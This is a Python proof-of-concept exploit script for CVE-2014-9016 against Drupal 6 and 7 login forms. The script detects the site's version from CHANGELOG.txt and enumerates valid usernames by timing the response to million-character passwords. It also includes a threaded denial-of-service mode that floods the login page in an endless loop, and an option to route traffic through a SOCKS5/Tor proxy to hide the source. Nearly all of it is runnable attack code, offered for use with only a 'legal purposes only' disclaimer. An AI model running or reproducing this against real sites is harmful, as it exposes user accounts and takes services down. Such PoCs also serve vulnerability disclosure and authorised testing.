#!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import urllib import httplib import time import socks import socket import argparse import sys from threading import * try: import requests except ImportError: print "It's necesary to install request Python module: sudo pip install requests." exit(1) __license__=""" A PoC Python script to exploit Drupal 6.* phpass module installation 7.* User Enumeration Time-Based Attack: Authors: c0r3dump | http://www.devconsole.info Javier Nieto | http://www.behindthefirewalls.com/ This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. The authors disclaims all responsibility in the use of this tool. """ def dpCheckversion(url): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5" } r = requests.get(url+'/CHANGELOG.txt',headers=headers,verify=False) print "[+] Trying to detect the Drupal version in CHANGELOG.txt ..." if r.status_code == 404: print "[-] Unable to detect Drupal version. No CHANGELOG.txt file found." return result = r.text try: druf = result.find("Drupal") version = result[druf+7:12] mversion = int(result[druf+7:9]) except ValueError,e: print "[-] Unable to detect Drupal version." print e print "[+] Version Drupal detected in CHANGELOG.txt ==> Drupal " + version print def proxyConn(hostp,portp): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, hostp, int(portp)) socket.socket = socks.socksocket def url_ok(url): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5" } try: rok = requests.get(url,headers=headers,verify=False,timeout=30) print "[+] The server " + "it's responding the status code: " + str(rok.status_code) print except : print "Unable to connect to " + str(url) exit(1) def DosDP(url,user,chars): urlog=str(url)+'/?q=user' headers = [ ("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")] password = "A"*chars data = [ ("name",user), ("pass",password), ("form_id","user_login"), ("op","Log in")] timeStart = int(time.time()) req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers)) try: response = urllib2.urlopen(req) except urllib2.URLError: pass except urllib2.HTTPError,e: print "[-]Error to open " + str(urlog) print e.code def ScanDrupal(url,user,chars): urlog=str(url)+'/?q=user' headers = [ ("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")] password = "A"*chars data = [ ("name",user), ("pass",password), ("form_id","user_login"), ("op","Log in")] print "[+] Testing user " + str(user) + " @ " + urlog + " ..." timeStart = int(time.time()) req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers)) try: response = urllib2.urlopen(req) except: pass timeDone = int(time.time()) delay = timeDone-timeStart defTime = 10 if delay > defTime: print "[+] The user " + str(user) + " exist. " + "Response time " + str(delay) + " second(s)." return user else: print "[-] The user " + str(user) + " don't exist. " + "Response time " + str(delay) + " second(s)." def main(): parse = argparse.ArgumentParser(description='Python script for Drupal User Enumeration Time-Based Attack CVE-2014-9016 (PoC)') parse.add_argument('-u','--url', action='store', dest='url', help='URL to scan (http://127.0.0.1)') parse.add_argument('-U','--user', action='store', dest='user', help='User to scan') parse.add_argument('-f','--file', action='store', dest='ufile', help='File with user names') parse.add_argument('-n','--num', action='store', dest='num',default='1000000', help='Number of characters to use (default 1000000)') parse.add_argument('-d','--dos', action='store_true', dest='dos',help='Try to stablish a DOS condition') parse.add_argument('-t','--threads', action='store', dest='td',default='100', help='Number of connections attemps (every 10 seconds) for the DOS attack (default 100)') parse.add_argument('-c','--check', action='store_true', dest='check',help='Only ceck the Drupal version.') parse.add_argument('--proxy', action='store', dest='proxy', help='SOCKS 5 proxy, tipically TOR use: 127.0.0.1:9050') arg=parse.parse_args() users=[] userfdos=[] numuser = 0 if arg.url == None: parse.print_help() exit(1) if arg.proxy != None: hostp = arg.proxy.split(":")[0] portp = arg.proxy.split(":")[1] proxyConn(hostp,portp) url = arg.url url_ok(url) if arg.check == True: dpCheckversion(url) exit(0) if arg.user == None and arg.ufile == None: parse.print_help() exit(1) if arg.user != None: users.append(arg.user) numuser = numuser + 1 if arg.ufile != None: try: userFile = open (arg.ufile,'r') for line in userFile.readlines(): line = line.split("\n") users.append(line[0]) numuser = numuser + 1 except IOError: print "The file %s doesn't exist." % (arg.ufile) print "Nothing to do." exit(1) chars = int(arg.num) print "Starting Drupal 6.* (with phpass module) 7.* User Enumeration Time-Based Attack Python CVE-2014-9016 script (PoC) for " + url + " at " + time.strftime("%x") + " " + time.strftime("%X") + " - for legal purposes only." print print "[+] Searching for " + str(numuser) + " valid users, using " + arg.num + " characters." for user in users: usr=ScanDrupal(url,user,chars) if usr != None: userfdos.append(usr) else: userfdos.append(None) ufd = None for u in userfdos: if u != None: ufd = u if arg.dos == True: if ufd != None: threads = int(arg.td) user = ufd attp = 0 print while 1: print "[+] Trying DOS with user " + str(user) + " using " + str(threads) + " connections attemps." for att in range(threads): t = Thread(target=DosDP, args=(url, user, chars)) try: t.start() attp = attp + 1 except: pass print "[+] After " + str(attp) + " connections attemps waiting 10 seconds in order to check the status of the server ..," time.sleep(5) print "[+] Checking the server respond ...." url_ok(url) else: print "[-] No valid user found, impossible to make the DOS attack." exit(1) if __name__=='__main__': main()